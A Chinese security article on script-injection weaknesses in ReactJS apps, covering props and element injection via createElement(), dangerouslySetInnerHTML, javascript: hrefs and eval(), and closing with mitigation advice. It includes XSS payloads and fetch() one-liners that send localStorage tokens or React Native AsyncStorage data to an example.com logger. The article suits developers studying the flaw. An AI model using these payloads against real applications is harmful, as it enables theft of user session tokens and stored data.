利用脚本注入漏洞攻击ReactJS应用程序

ReactJS是一款能够帮助开发者构建用户接口的热门JavaScript库。在它的帮助下,开发者可以构建出内容丰富的客户端或Web应用,并且提前加载内容以提供更好的用户体验。

从设计角度来看,只要你能够按照开发标准来使用ReactJS的话,它其实是非常安全的。但是在网络安全领域中,没有任何东西是绝对安全的,而错误的编程实践方式将导致类似脚本注入漏洞之类的问题产生,这些错误的编程方式包括:

1.利用用户提供的对象来创建React组件;

2.利用用户提供的href属性来配置标签,或利用其他可注入的属性来设置其他的HTML标签(例如link标签);

3.显示地设置一个元素的dangerouslySetInnerHTML属性(危险的HTML标签属性);

4.向eval()传递用户提供的字符串数据;

接下来,让我们一起看一看这些潜在的问题将如何影响ReactJS应用程序,并最终导致了脚本注入漏洞的出现。

组件、属性和元素

在ReactJS应用程序中,组件是最基本的组成部分。从本质上来说,这些组件其实都类似于JavaScript函数,它们可以接受任意的输入数据,然后返回React元素。一个基本的ReactJS组件如下所示:


  1. class Welcome extends React.Component { 
  2.   render() { 
  3. return <h1>Hello, {this.props.name}</h1>; 
  4.   } 

请注意上面代码中的return语句,这是一种JavaScript中的语句扩展(JSX)。在项目构建的过程中,JSX代码将会被编译成常规的JavaScript(ES5)代码。下面给出的两种样本代码其功能是完全相同的:


  1. // JSX 
  2. const element = ( 
  3.   <h1 className=”greeting”> 
  4.   Hello, world! 
  5.   </h1> 
  6. ); 
  7. // Transpiled to createElement() call 
  8. const element = React.createElement( 
  9.   ‘h1’, 
  10.   {className: ‘greeting’}, 
  11.   ‘Hello, world!’ 
  12. ); 
  13. 在创建新的React元素时,使用的是component类中的createElement()函数: 
  14. React.createElement( 
  15.   type, 
  16.   [props], 
  17.   [...children] 

这个函数可以接受三个参数:

1.type参数:该参数可以是一个标签名(例如'div'或'span'),或一个component类。但是在React Native中只允许component类。

2.props参数:该参数包含一个传递给新元素的属性列表。

3.children参数:该参数包含新元素的子节点。

如果你能够控制其中任何一个参数的话,那么这个参数就会变成攻击向量。

注入子节点

早2015年3月份,Daniel
LeCheminant报告了一个存在于HackerOne的存储型跨站脚本漏洞(XSS)。这个漏洞的成因如下:HackerOne的Web应用会将用户所提供的任意对象当作children参数传递给React.createElement()函数。根据我们的推测,存在漏洞的代码可能跟下方给出的代码比较相似:


  1. * Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. 
  2. attacker_supplied_value = JSON.parse(some_user_input) 
  3. */ 
  4. render() {  
  5.  return <span>{attacker_supplied_value}</span>; 

这段JSX代码将会被转译成如下所示的JavaScript代码:   


  1. React.createElement("span", null, attacker_supplied_value}; 

如果其中的attacker_supplied_value是一个字符串的话(正常情况),代码将会生成一个正常的span元素。但是在当前版本的ReactJS中,createElement()函数还会接受以children参数形式传递的普通对象。Daniel通过一个JSON编码的对象利用了这个漏洞,他在这个对象中包含了dangerouslySetInnerHTML属性,这将允许他向React呈现的输出效果中注入原始的HTML代码。最终的PoC代码:


  1.  _isReactElement: true, 
  2.  _store: {}, 
  3.  type: “body”, 
  4.  props: { 
  5.    dangerouslySetInnerHTML: { 
  6.      __html: 
  7.      "<h1>Arbitrary HTML</h1> 
  8.      <script>alert(‘No CSP Support :(‘)</script> 
  9.      <a href=’http://danlec.com'>link</a>" 
  10.     } 
  11.   } 

相关的漏洞缓解方案可以在React.js的GitHub主页上找到,感兴趣的同学可以参考。在2015年11月份,Sebastian
Markbåge提交了一个修复方案:为React元素引入了$$typeof:
Symbol.for('react.element')属性。由于无法从一个注入对象引用全局JavaScript符号,所以Daniel设计的漏洞利用技术(注入child元素)就无法再使用了。

控制元素类型

虽然我们不能再将普通对象来当作ReactJS元素来使用了,但是组件注入并非不可能实现,因为createElement()函数还可以接受type参数中的字符串数据。我们假设开发者采用了如下所示的代码:


  1. // Dynamically create an element from a string stored in the backend. 
  2. element_name = stored_value; 
  3. React.createElement(element_name, null); 

如果stored_value是一个由攻击者控制的字符串,那我们就可以创建任意的React组件了。但是此时创建的是一个普通的无属性HTML元素,而这种东西对于攻击者来说是没有任何作用的。因此,我们必须要能够控制新创建元素的属性才可以。

注入属性(props)

请大家先看看下面给出的这段代码:


  1. // Parse attacker-supplied JSON for some reason and pass 
  2. // the resulting object as props. 
  3. // Don't do this at home unless you are a trained expert! 
  4. attacker_props = JSON.parse(stored_value) 
  5. React.createElement("span", attacker_props}; 

这样一来,我们就可以向新元素中注入任意属性了。我们可以使用下面给出的Payload来设置dangerouslySetInnerHTML属性:


  1. {"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}} 

跨站脚本漏洞

某些传统的XSS攻击向量同样适用于ReactJS应用程序。请大家接着往下看:

(1) 显示地设置dangerouslySetInnerHTML属性

很多开发者可能会有目的地去设置dangerouslySetInnerHTML属性:


  1. <div dangerouslySetInnerHTML={user_supplied} /> 

很明显,如果你能够控制这些属性的参数值,那你就能够注入任意的JavaScript代码了。

(2) 可注入的属性

如果你能够控制一个动态生成的标签的href属性,那就没有什么可以阻止你向其参数值中注入JavaScript代码(通过javascript:)了。除了href属性之外,在现代浏览器中HTML5按钮的formaction属性同样也是可注入的。


  1. <a href={userinput}>Link</a> 
  2. <button form="name" formaction={userinput}> 

另一个非常奇怪的注入向量就是HTML imports:


  1. <link rel=”import” href={user_supplied}> 

(3) 服务器端呈现的HTML

为了降低初始化页面的呈现时间,很多开发人员会在服务器端预先加载React.JS页面(也就是所谓的“服务器端呈现”)。在2016年11月份,Emilia

Smith发现官方Redux代码样本中存在一个跨站脚本漏洞(XSS),因为客户端状态被嵌入到了预呈现页面中并没有被过滤掉。(样本代码中的漏洞现在已经修复)

如果HTML页面在服务器端预呈现的话,你也许可以在普通的Web应用中找到类似的跨站脚本漏洞。

基于eval()的注入

如果应用程序使用了eval()来动态执行一个由你控制的注入字符串,那你就非常幸运了。在这种情况下,你就可以随意选择你需要注入的代码了:


  1. function antiPattern() { 
  2.   eval(this.state.attacker_supplied); 

XSS Payload

在现代Web开发领域,很多机制的开发人员会选择使用无状态的会话令牌,并且将它们保存在客户端的本地存储中。因此,攻击者必须根据这种情况来设计相应的Payload。

当你在利用跨站脚本漏洞来攻击ReactJS Web应用程序时,你能够随意注入任意代码,如果再配合使用下面列出的代码,你就可以从目标设备的本地存储中获取访问令牌并将其发送到你的记录程序中:


  1. fetch(‘http://example.com/logger.php? 
  2. token='+localStorage.access_token); 

React Native

React
Native是一款移动应用开发框架,它可以帮助开发人员使用ReactJS构建原生移动应用。更确切地说,它提供了一个能够再移动设备上运行React
JavaScript包的运行时环境。除此之外,我们还可以使用React Native for Web让一个React
Native应用在普通的Web浏览器中运行。

但是就我们目前的研究结果来看,上面列出的脚本注入向量都不适用于React Native:

1.React Native的createInternalComponent方法只接受包含标签的component类,所以即便是你能够完全控制传递给createElement()的参数,你野无法创建任意元素;

2.不存在HTML元素,HTML代码也不会被解析,所以普通的基于浏览器的XSS向量(例如'href')就无法正常工作了。

只有基于eval()的变量才可以在移动设备上被攻击者利用。如果你能够通过eval()注入JavaScript代码,你就可以访问React
Native API并做一些有趣的事情了。比如说,你可以从本地存储(AsyncStorage)中窃取数据了,相关的操作代码如下所示:


  1. _reactNative.AsyncStorage.getAllKeys(function(err,result) 
  2. {_reactNative.AsyncStorage.multiGet(result,function(err,result) 
  3. {fetch(‘http://example.com/logger.php? 
  4. token='+JSON.stringify(result));});}); 

建议

虽然从设计的角度出发,ReactJS还是非常安全的,但是这个世界上没有绝对安全的东西,不好的编程习惯将导致各种严重的安全漏洞出现:

我们建议各位开发者们不要再使用eval()函数或dangerouslySetInnerHTML属性,并避免解析用户提供的JSON数据。

本文作者:WisFree

来源:51CTO

时间: 2024-12-29 14:30:59

利用脚本注入漏洞攻击ReactJS应用程序的相关文章

预防查询语句数据库注入漏洞攻击

简单地说,Sql注入就是将Sql代码传递到应用程序的过程,但不是按照应用程序开发人员预定或期望的方式插入,相当大一部分程序员在编写代码的时 候,并没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.这种漏洞并非系统照成,而是由程序员在编程中忽略了安全因素.Sql注入漏洞攻击原 理就是利用非法参数获得敏感信息,收集整理,分析出管理员账号密码. 当开发应用程序时,尤其是有关数据库信息的查询,查询语句中可能会有拼接字符串注入漏洞,这便会导致用户资料泄露.那么该如何防范此类漏洞的出现. 可以为查

如何使用加密的Payload来识别并利用SQL注入漏洞?

本文讲的是如何使用加密的Payload来识别并利用SQL注入漏洞?,不可否认,密码学具有各种各样的优点,比如信息的机密性,但是对于密码过分的依赖,利用其保护应用程序俨然是一个坏主意.在这篇文章中我们app安全的首席培训师森尔·亚达夫,将针对一个案例进行研究,其中有一个SQL注入漏洞是通过加密的payload来进行识别和利用的. 注意:我们在本文中讨论的问题并不是加密(即如何破解密码),而是应用程序自身的缺陷,并且能够由开发人员进行监督,使我们生成加密的有效负载(即任何给定明文的密文),然后将其用

如何使用加密的Payload来识别并利用SQL注入漏洞

写在前面的话 密码学具有诸多优点,信息的保密性同样离不开密码学,但是从历史经验来看,在保护应用和数据安全方面我们绝对不能过分依赖于密码学.在这篇文章中,安全教育培训专家SunilYadav将会讨论一个案例,并介绍如何通过一个加密的Payload来发现并利用SQL注入漏洞. 请注意:我们在此不打算讨论密码学方面的问题(例如如何破解加密算法),我们讨论的是应用程序的安全缺陷,这方面问题是很多开发者最容易忽略的问题,而本文所描述的这个漏洞将允许我们通过一个加密的Payload来识别并利用程序中的SQL

利用SQL注入漏洞拖库的方法_Mysql

想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库 同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用. 在数据库中建立一张表: 复制代码 代码如下: CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET

利用SQL注入漏洞登录后台的实现方法_Mysql

早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的"拖库"事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下.

PHP代码网站防范SQL注入漏洞攻击的建议

所有的网站管理员都会关心网站的安全问题.说到安全就不得不说到SQL注入攻击(SQL Injection).黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入 功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉.做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并 学会如何通过代码来保护自己的网站数据库.今天就通过PHP和MySQL数据库为例,分享一下我所了解的SQL注入攻击和一些简单的

PHP代码网站如何防范SQL注入漏洞攻击建议分享_php技巧

黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉.做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库.今天就通过PHP和MySQL数据库为例,分享一下我所了解的SQL注入攻击和一些简单的防范措施和一些如何避免SQL注入攻击的建议. 什么是SQL注入(SQL Injection)? 简单来说,SQ

利用SQL注入漏洞登录后台

题记:工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的"拖库"事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的

利用物联网发动 DDoS 攻击的恶意程序源代码公开

存在漏洞的物联网设备最近被用于发动了两次创纪录的DDoS攻击:其一是针对安全博客KrebsOnSecurity的攻击,攻击流量达到了620 Gbps:其二是针对法国托管商OVH的攻击,攻击流量达到了1 Tbps.KrebsOnSecurity报告用于创建物联网僵尸网络的恶意程序Mirai源代码在网上公开.Mirai是互为竞争的两种物联网僵尸网络家族之一,它更先进,其感染的物联网设备数量远不及竞争对手Bashlight,Mirai感染了大约23.3万台设备,而Bashlight感染了96.3万台.